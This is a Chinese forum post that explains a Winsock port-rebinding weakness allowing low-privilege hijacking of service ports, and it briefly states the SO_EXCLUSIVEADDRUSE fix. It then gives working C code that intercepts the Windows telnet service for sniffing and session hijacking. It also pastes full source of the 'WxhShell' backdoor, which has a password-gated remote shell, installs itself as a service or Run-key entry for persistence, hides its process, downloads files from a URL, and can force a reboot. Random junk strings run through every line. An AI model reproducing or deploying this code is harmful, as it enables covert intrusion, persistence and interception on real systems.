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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: *k'D%}N:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ! 7,rz1s73  
Th,15H DA  
  saddr.sin_family = AF_INET; v  P8.{$  
zp[Uh]-dMK  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^44AE5TO  
=KJK'1m9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $(v1q[ig  
B6~a `~"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `9M:B&  
+jD?h-]  
  这意味着什么?意味着可以进行如下的攻击: I12WOL q  
P6w!r>?6N  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 wic"a Y<m  
c"R`7P  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) eaP,MkK&  
N}x \Ll  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }8cL+JJU  
:3F&NsgHH  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  <;\T e4g[  
J =o,: 3"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K FV&Dt}<  
lot7SXvK  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 m=i8o `  
X8l[B{|  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {IEc{y7?gO  
s6SG%Vd  
  #include gaBt;@?:Q  
  #include [/ uqH  
  #include GKdQ  
  #include    OI;0dS  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1zNH[   
  int main() 9ui_/[K  
  { M B|+F  
  WORD wVersionRequested; nTO,d$!Kp  
  DWORD ret; HN,E+ dQ  
  WSADATA wsaData; K~"uZa^s  
  BOOL val; Q#NXJvI  
  SOCKADDR_IN saddr; +=#sa m*i  
  SOCKADDR_IN scaddr; W6f?/{Oo8  
  int err; n%PHHu  
  SOCKET s; K~ gt=NH  
  SOCKET sc; i)fAm$8# G  
  int caddsize; hnha1 f  
  HANDLE mt; [)U|HnAJ  
  DWORD tid;   HNN,1MN  
  wVersionRequested = MAKEWORD( 2, 2 ); E/x``,k  
  err = WSAStartup( wVersionRequested, &wsaData ); jSVIO v:  
  if ( err != 0 ) { ]S+NH[g+  
  printf("error!WSAStartup failed!\n"); P!yE{_%  
  return -1; WP-?C<Iw  
  } N{v <z 6  
  saddr.sin_family = AF_INET; u 0KVp6`  
   l6ayV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 NT?Gl(  
PR?Ls{}p\  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1~\YJEsb}d  
  saddr.sin_port = htons(23); Up?w >ly  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8Z{&b,Y4L  
  { yVd}1bX  
  printf("error!socket failed!\n"); 27q 9zi!Q  
  return -1; R}lS@w1  
  } lN$#lyy  
  val = TRUE; -'btKz*9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $p@V1"x  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) } MBxfZ4I  
  { l;^Id#N  
  printf("error!setsockopt failed!\n"); :'RmT3  
  return -1; /bm$G"%d  
  } !4zSE,1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Dz$GPA   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 V+My]9ki  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #7/;d=  
@]yd Wd  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Z 4,nl  
  { Hq'mv_}qG  
  ret=GetLastError(); (0/g)gW  
  printf("error!bind failed!\n"); qP? V{N  
  return -1; @{16j# 'R  
  } RWM9cV5  
  listen(s,2); b*w izd  
  while(1) 3>X]`Oj7y  
  { kBZnR$Cl  
  caddsize = sizeof(scaddr); ZN75ON L  
  //接受连接请求 KEF"`VTB@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KSsv~!3Yf  
  if(sc!=INVALID_SOCKET) O>UG[ZgW  
  { &u) R+7bl,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  5,  
  if(mt==NULL) ?K]Cs&E4  
  { #(6^1S%  
  printf("Thread Creat Failed!\n"); uCGJe1!Ai>  
  break; x=(y  
  } ]hY'A>4Uq  
  } gZbC[L  
  CloseHandle(mt); apsR26\^  
  } I6?n>  
  closesocket(s); LbX>@2(&  
  WSACleanup(); Tjba @^T  
  return 0; 7=yV8.cD  
  }   NzB"u+jB  
  DWORD WINAPI ClientThread(LPVOID lpParam) JL0>-kg  
  { ( <~  
  SOCKET ss = (SOCKET)lpParam; *`.h8gTD,  
  SOCKET sc; fLM5L_S}Y  
  unsigned char buf[4096]; r}>8FE9S'H  
  SOCKADDR_IN saddr; )EQWc0iKG  
  long num; "b)Y5[nW  
  DWORD val; vsc)EM ]  
  DWORD ret; .f)&;Af^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [JI>e;l C:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   wyF' B  
  saddr.sin_family = AF_INET; +u+|9@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  l* C>  
  saddr.sin_port = htons(23); i\E}!Rwl+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z7B>7}i-  
  { '%U'%')  
  printf("error!socket failed!\n"); ;MH((M/AN  
  return -1; 5[<" _  
  } #O3Y#2lI  
  val = 100; {')L*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6lW\-h`N G  
  { "9W] TG  
  ret = GetLastError(); PvW {g5)S  
  return -1; AAbI+L0m{  
  } B",5"'id  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9 t)A_}O  
  { 88%7  
  ret = GetLastError(); 37C'knW  
  return -1; iveJh2!#<  
  } (C{l4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .!#0eAT  
  { 1+wmR4o  
  printf("error!socket connect failed!\n"); KVQ^-^  
  closesocket(sc); }4'5R  
  closesocket(ss); 8%C7!l q  
  return -1; }J=>nL'B  
  } @ \{L%y%a0  
  while(1) aMa ICM  
  { @E Srj[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 aU&p7y4C@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 QH~;B[->  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^y" #2Ov  
  num = recv(ss,buf,4096,0); &Pk #v  
  if(num>0) |qUi9#NUo  
  send(sc,buf,num,0); 25e*W>SLw  
  else if(num==0) S5o\joc  
  break; 1!N|a< #  
  num = recv(sc,buf,4096,0); !e>+ O^  
  if(num>0) O9%`G  
  send(ss,buf,num,0); r 7 dwj  
  else if(num==0) zVEG ) Hr  
  break; T'VZ=l[  
  } (2 nSZRB  
  closesocket(ss); EI+RF{IKh  
  closesocket(sc); "==fWf  
  return 0 ; =rL%P~0wq  
  } jh7-Fl`  
o2AfMSt.  
6}z-X*  
========================================================== aCxF{>n  
,"6Bw|s  
下边附上一个代码,,WXhSHELL ^"lVTDsU  
(^_j,4  
========================================================== 3C[#_&_l  
~PaEhj&8  
#include "stdafx.h" }%^N9AA8  
dWc'RwL  
#include <stdio.h> )P13AfK  
#include <string.h> j p"hbV  
#include <windows.h> AW{"9f4  
#include <winsock2.h> .wH`9aq;5@  
#include <winsvc.h> zWs ("L(#s  
#include <urlmon.h> G_ -8*.  
}4Q~<2  
#pragma comment (lib, "Ws2_32.lib") 3?%?J^/a  
#pragma comment (lib, "urlmon.lib") asEk 3  
w.7p D  
#define MAX_USER   100 // 最大客户端连接数 9w)W|9  
#define BUF_SOCK   200 // sock buffer -BV8,1  
#define KEY_BUFF   255 // 输入 buffer v 3p'*81;  
zD"n7;  
#define REBOOT     0   // 重启 rXh*nC  
#define SHUTDOWN   1   // 关机 *'i9  
e4h9rF{Cxn  
#define DEF_PORT   5000 // 监听端口 ey/{Z<D  
_%R]TlL  
#define REG_LEN     16   // 注册表键长度 $O'IbA  
#define SVC_LEN     80   // NT服务名长度 ;!~&-I0l  
Z]~) ->=}  
// 从dll定义API M6nQ17\{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `[)!4Jb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Jn:h;|9w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S4ys)!V1V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q9G\T:^ury  
?)-#\z=6G  
// wxhshell配置信息 |Eyn0\OA  
struct WSCFG { #fGI#]SG?  
  int ws_port;         // 监听端口 {s7 3(B"  
  char ws_passstr[REG_LEN]; // 口令 `erKHZ]S  
  int ws_autoins;       // 安装标记, 1=yes 0=no C@o8C%o  
  char ws_regname[REG_LEN]; // 注册表键名 Y5fz_ [("  
  char ws_svcname[REG_LEN]; // 服务名  i)!2DXn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z=FOymv C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [_BQ%7D U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 I4"(4u@P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SSQB1c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V|3^H^\5P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,=IGqw  
TCWt3\  
}; >%\&tS'  
$-i(xnU/nl  
// default Wxhshell configuration drwD3jx0xv  
struct WSCFG wscfg={DEF_PORT, <jAn~=Uq[,  
    "xuhuanlingzhe", 4 (c{%%  
    1, m[}@\y  
    "Wxhshell", ljP<WD  
    "Wxhshell", B?nw([4m  
            "WxhShell Service", (=-6'23q)  
    "Wrsky Windows CmdShell Service", Q "vhl2RX  
    "Please Input Your Password: ", I/B*iW^  
  1, _ ?o>i/  
  "http://www.wrsky.com/wxhshell.exe", 0$g;O5y"i  
  "Wxhshell.exe" 4JO[yN  
    }; *|4/XHi  
+\R__tx;  
// 消息定义模块 p![UOI"W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gyz_$T@x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X,A]<$ACu%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]x(cX&S-9  
char *msg_ws_ext="\n\rExit."; :.P{}\/  
char *msg_ws_end="\n\rQuit."; @ogj -ol&  
char *msg_ws_boot="\n\rReboot..."; &cp `? k  
char *msg_ws_poff="\n\rShutdown..."; J#?` l,  
char *msg_ws_down="\n\rSave to "; *'cyFu$  
PcQ\o>0")  
char *msg_ws_err="\n\rErr!"; fW w+'xF!  
char *msg_ws_ok="\n\rOK!"; /(u# D[  
k>)Uyw$!  
char ExeFile[MAX_PATH]; ;#?G2AAv  
int nUser = 0; hiKyU! )Hv  
HANDLE handles[MAX_USER]; (fun,(R6"  
int OsIsNt; fZiwuq !_  
wnU-5r&!]  
SERVICE_STATUS       serviceStatus;  JfsvK2I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \0veld  
GIv l|  
// 函数声明 KvH t`  
int Install(void); -pHUC't  
int Uninstall(void); _iF*BnmN  
int DownloadFile(char *sURL, SOCKET wsh); JJHO E{%  
int Boot(int flag); 9Ca }+  
void HideProc(void); X#>:9  
int GetOsVer(void); C %i{{Y&l  
int Wxhshell(SOCKET wsl); g#q7~#9  
void TalkWithClient(void *cs); FnPn#Cv>*  
int CmdShell(SOCKET sock); U4N H9-U'  
int StartFromService(void); zRMz8IC.  
int StartWxhshell(LPSTR lpCmdLine); wEF"'T  
z"c,TlVN3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /|p\l"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5gSe=|we*p  
YU`}T<;bg  
// 数据结构和表定义 eiQ42x@Z  
SERVICE_TABLE_ENTRY DispatchTable[] = IP  
{ ,MjlA{0  
{wscfg.ws_svcname, NTServiceMain}, '2Lx>nByk  
{NULL, NULL} m}(M{^\|  
}; /Un\P   
- -\eYVh[  
// 自我安装 `x`zv1U  
int Install(void) .lAPlJOO  
{ ;efF]")  
  char svExeFile[MAX_PATH]; xpJ=yxO  
  HKEY key; I|l5e2j  
  strcpy(svExeFile,ExeFile); PJO.^OsM  
tlM >=s'T  
// 如果是win9x系统,修改注册表设为自启动 t$&'mJ_-w  
if(!OsIsNt) { zZW5M^z8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0g2rajS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pm]lr|Q{I  
  RegCloseKey(key); & }7+.^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ss3~X90!*B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3Rhoul[S  
  RegCloseKey(key); %ol\ sO|  
  return 0; [Z2{S-)UM  
    } Ga_Pt8L6  
  } 8,IQ6Or|-2  
} I7\T :Q[  
else { qe5;Pq !G  
~d3|zlh  
// 如果是NT以上系统,安装为系统服务 cw,|,uXq 6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vq+4so )/S  
if (schSCManager!=0) 2Ab`i!#  
{ bcUSjG>  
  SC_HANDLE schService = CreateService o:B?hr'\  
  ( DX^8w?t  
  schSCManager, Xf[;^?]X  
  wscfg.ws_svcname, nsM. `s@V  
  wscfg.ws_svcdisp, %d%FI"!K  
  SERVICE_ALL_ACCESS, *'*,mfk[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?O Puv5!pI  
  SERVICE_AUTO_START, |~@yXc5a  
  SERVICE_ERROR_NORMAL, P!SsMo6n  
  svExeFile, $:yIe.F  
  NULL, vJ{F)0 K  
  NULL, oE_*hp+  
  NULL, v 8EI   
  NULL, =w3cF)&  
  NULL e)y+]  
  ); /#z"c]#  
  if (schService!=0) =te4p@  
  { di(H-=9G62  
  CloseServiceHandle(schService); 9{}"tk5$h  
  CloseServiceHandle(schSCManager); k8!:`jG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); = c1>ja  
  strcat(svExeFile,wscfg.ws_svcname); +,g!xv4Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o@hj.)u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uz I-1@`  
  RegCloseKey(key); XgyLlp;,O  
  return 0; Y_6 v@SiO  
    } MJ$.ST  
  } oJ tmd}  
  CloseServiceHandle(schSCManager); ;<*%BtD?  
} ?-~<Vc*  
} }(!rB#bf  
liqVfB%  
return 1; PI@?I&Bo  
} 6XHM`S  
0Y'ow=8M  
// 自我卸载 `t\\O  
int Uninstall(void) K,6{c^qf  
{ v0TbQ  
  HKEY key; \mTi@T!&  
 7|yEf  
if(!OsIsNt) { a*t @k*d_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r7#.DJnN.  
  RegDeleteValue(key,wscfg.ws_regname); Nobu= Z  
  RegCloseKey(key); g<ov` bF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "[rz*[o8I  
  RegDeleteValue(key,wscfg.ws_regname); >5E1y!  
  RegCloseKey(key); ;W|GUmADf  
  return 0; R! n7g8I%  
  } HRJ\H- V  
} $=X>5B  
} 0>46ZzxUZ  
else { `e`DSl D>  
,hr v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .'.bokl/  
if (schSCManager!=0) Nc HU)  
{ A^$xE6t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1M 6^Brx  
  if (schService!=0) zk!7TUZ">w  
  { %"=GQ3u[  
  if(DeleteService(schService)!=0) { o~W,VhCP  
  CloseServiceHandle(schService); GY %$7   
  CloseServiceHandle(schSCManager); @4Zkkjc4b  
  return 0; Pd& Npp3  
  } R^=v&c{@  
  CloseServiceHandle(schService); ay| |yn:  
  } I(WIT=Wi<  
  CloseServiceHandle(schSCManager); Y@< j vH1  
} =}@1Z~  
} %!AzFL J|Z  
Vugb;5Vl  
return 1; V rd16s  
} sP}u  zS  
kma>'P`G  
// 从指定url下载文件 ,L.V>Ae  
int DownloadFile(char *sURL, SOCKET wsh) OHW|?hI=[  
{ @ULWVS#t2  
  HRESULT hr; /2hRL yeAZ  
char seps[]= "/"; Q&+)Kp]A  
char *token; ?RIf0;G  
char *file; h@'CmIZc  
char myURL[MAX_PATH]; 34[TM3L].  
char myFILE[MAX_PATH]; *-(o. !#1  
>]%$lSCW\D  
strcpy(myURL,sURL); WbBd<^Q  
  token=strtok(myURL,seps); +V9xKhR;x  
  while(token!=NULL) s? Xgo&rS_  
  { `iN\@)E  
    file=token; k4!_(X%8  
  token=strtok(NULL,seps); V1GkX =H},  
  } 4*9t:D|}  
s[dIWYs#  
GetCurrentDirectory(MAX_PATH,myFILE); pq\N 2d  
strcat(myFILE, "\\"); ASrRMH[  
strcat(myFILE, file); 8h4]<T  
  send(wsh,myFILE,strlen(myFILE),0); "nb.!OG~(  
send(wsh,"...",3,0); >@ xe-0z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .p*?g;  
  if(hr==S_OK) <3/_'/C  
return 0; GD'Z"rhI  
else ~t/i0pKq.  
return 1; M# -E  
x,cvAbwS  
} `@WJ_-$#  
Y"r728T`K  
// 系统电源模块 z]C=nXb k  
int Boot(int flag) 3:8p="$F  
{ >p0,]-.J,r  
  HANDLE hToken; WC37=8mA  
  TOKEN_PRIVILEGES tkp; zUNUH^Il  
_ h1eW9q  
  if(OsIsNt) { ZBFn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); km][QEXs%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >}Bcv%zZ  
    tkp.PrivilegeCount = 1; Y)$%-'=b+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q$ Dx:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E/wxX#]\  
if(flag==REBOOT) { FC6~V6R  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XJKns  
  return 0; V82I%gPF  
} R".$x{{  
else { dLF*'JjY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sWMln:=  
  return 0; PB.'huu  
} fH?A.JP=a  
  } C2\WvE%!  
  else { | 5:2?S2R  
if(flag==REBOOT) { o1?-+P/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \=[j9'N>  
  return 0; -*~ @?  
} nf<I  
else { zxIP-QaA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GCiG50Z=  
  return 0; u*W! !(P/  
} ' (XB|5  
} *]h"J]  
2<p@G#(  
return 1; k9<UDg_ Y  
} E i>GhvRM  
WiB~sIp  
// win9x进程隐藏模块 d!}oS<6  
void HideProc(void) XEagN:  
{ x- ue1  
aPK:k$.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :8@eon}  
  if ( hKernel != NULL ) frDMFEXXP  
  { <y~Ba@1u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :).NA ]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,Wu$@jD/ ]  
    FreeLibrary(hKernel); ceD6q~)  
  } -y|']I^ &  
jAue+ tB  
return; )!cucY  
} x3#:C=  
p~=z)7% e'  
// 获取操作系统版本 >3B {sn}  
int GetOsVer(void) 7CSz  
{ :@"o.8p   
  OSVERSIONINFO winfo; Hm!"%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q _!tn*  
  GetVersionEx(&winfo); 2#3`[+g<n  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <H-kR\HF  
  return 1; MMC$c=4"  
  else QA;,/iw`  
  return 0; S5, u| H  
} ebNRZJ?C,  
`w`N5 !  
// 客户端句柄模块 <nG}]Smd7  
int Wxhshell(SOCKET wsl) DR3om;Uk  
{ "v`q%(TA  
  SOCKET wsh; mAGD qz>f  
  struct sockaddr_in client; w+)wrJTtm  
  DWORD myID; zTfjuI|R  
0zT-]0  
  while(nUser<MAX_USER) Q&w_kz.  
{ &~/g[\Y  
  int nSize=sizeof(client); He5y;5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L kl E,W  
  if(wsh==INVALID_SOCKET) return 1; ]v),[]Xs  
+/eJ#Xw3u8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m9MY d  
if(handles[nUser]==0) l;A'^  
  closesocket(wsh); \v\ONp"  
else );TB(PQsBT  
  nUser++; dY0W=,X$7T  
  } ;-Os~81o?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); );}M"W8  
y= f.;  
  return 0; a73VDQr I  
} @lWNSf  
$IX(a4'  
// 关闭 socket ub9[!}r't  
void CloseIt(SOCKET wsh)  4q7H  
{ 4|I;z  
closesocket(wsh); Ja4M@z  
nUser--; &v1E)/q{Z  
ExitThread(0); }`H{;A h  
} r(Z?Fs/  
Gf9sexn]l  
// 客户端请求句柄 &Ejhw3Nw  
void TalkWithClient(void *cs) bpU> (j  
{ mLkp*?sfC  
'jE/Tre^  
  SOCKET wsh=(SOCKET)cs; (jhi<eV  
  char pwd[SVC_LEN]; KWD{_h{R  
  char cmd[KEY_BUFF]; yHC[8l8%  
char chr[1]; X"`[&l1  
int i,j; _z%~ m2SP  
bXc*d9]  
  while (nUser < MAX_USER) { lX2:8$?X  
0<uLQVoR2n  
if(wscfg.ws_passstr) { pM+9K:^B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =-/'$7R,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~}d\sQF .  
  //ZeroMemory(pwd,KEY_BUFF); I0Allw[  
      i=0; fJ5mKN  
  while(i<SVC_LEN) { Fq <JxamR  
>@cBDS<6R  
  // 设置超时 8%YyxoCH  
  fd_set FdRead; M=ag\1S&ZF  
  struct timeval TimeOut; fK]%*i_"  
  FD_ZERO(&FdRead); CMbID1M3  
  FD_SET(wsh,&FdRead); |.yS~XFJS  
  TimeOut.tv_sec=8; _[(EsIqc(F  
  TimeOut.tv_usec=0; Pw]r&)I`y[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nsXG@CS:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z)v o  
LWhy5H;Es  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [*(1~PrlO,  
  pwd=chr[0]; 1BW9,Xr  
  if(chr[0]==0xd || chr[0]==0xa) { edcz%IOM(  
  pwd=0; D*VO;?D  
  break; ntPj9#lf  
  } o@dT iQK_  
  i++; u {\>iQ   
    } W)D?8*  
B<-("P(q  
  // 如果是非法用户,关闭 socket )eZ}Kt+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H<q|je}e  
} I9aiAD0s  
!t~tIJ>6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L aA<`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hhk`yX c_  
s?S e]?i  
while(1) { F @Wi[K  
<o3I<ci6  
  ZeroMemory(cmd,KEY_BUFF); FJ!`[.t1AU  
YryMB,\  
      // 自动支持客户端 telnet标准   !T:7xEr  
  j=0; 4Y3@^8h&=  
  while(j<KEY_BUFF) { xhho{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0[<' ygu  
  cmd[j]=chr[0]; cV@^<  
  if(chr[0]==0xa || chr[0]==0xd) { U=j`RQ 9,  
  cmd[j]=0; "+qZv(  
  break; >FHx],  
  } ZlE=P4`X:  
  j++; Kf(Px%G6K  
    } E>*Wu<<  
1R*;U8?  
  // 下载文件 R=, pv'  
  if(strstr(cmd,"http://")) { xW9R -J \W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +/[Rvh5WZ  
  if(DownloadFile(cmd,wsh)) 5W|wDy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FYE(lEjxi  
  else (6mw@gzr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VSCKWYy  
  } mAW(j@5sp  
  else { lf KV%  
XVfUr\=,T  
    switch(cmd[0]) { 9 ;uw3vI%  
  BdU .;_K  
  // 帮助 @gf <%>  
  case '?': { Gl3g.`X{$@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j"TEp$x  
    break; CKFr9bT{  
  } Iix:Y}  
  // 安装 {&D$U'ye  
  case 'i': { . uGne  
    if(Install()) ,\3Cq2h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z[Iej:o5  
    else HfP<hQmN'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nTs\zikP  
    break; r oG<2i F  
    } b5jD /X4  
  // 卸载 | a i#rU  
  case 'r': { >QN-K]YLL  
    if(Uninstall()) 1>OU~A"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U61 LMH  
    else Zm++5b`W/[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [h' 22 W  
    break; b">"NvlB  
    } 8::y5Yv]  
  // 显示 wxhshell 所在路径 Lp}V 94xT  
  case 'p': { !H c6$  
    char svExeFile[MAX_PATH]; &6Lh>n(  
    strcpy(svExeFile,"\n\r"); ^b$G.h{o!E  
      strcat(svExeFile,ExeFile); ouoIbA9X  
        send(wsh,svExeFile,strlen(svExeFile),0); pjV70D8$A  
    break; 4$N,|bt  
    } /FW$)w2{j  
  // 重启 2Q%M2Ua  
  case 'b': { H|j]uLZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '|v<^EH  
    if(Boot(REBOOT)) |pMP-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *M:p[.=1  
    else { !{(crfXB  
    closesocket(wsh); QFhyidm=]  
    ExitThread(0); Pd d(1K*  
    } +:70vZc:V@  
    break; A>S7Ap4z>  
    } 7oUo[  
  // 关机 Rw[!Jq  
  case 'd': { eW3?3l`fvt  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #_3-(H5u  
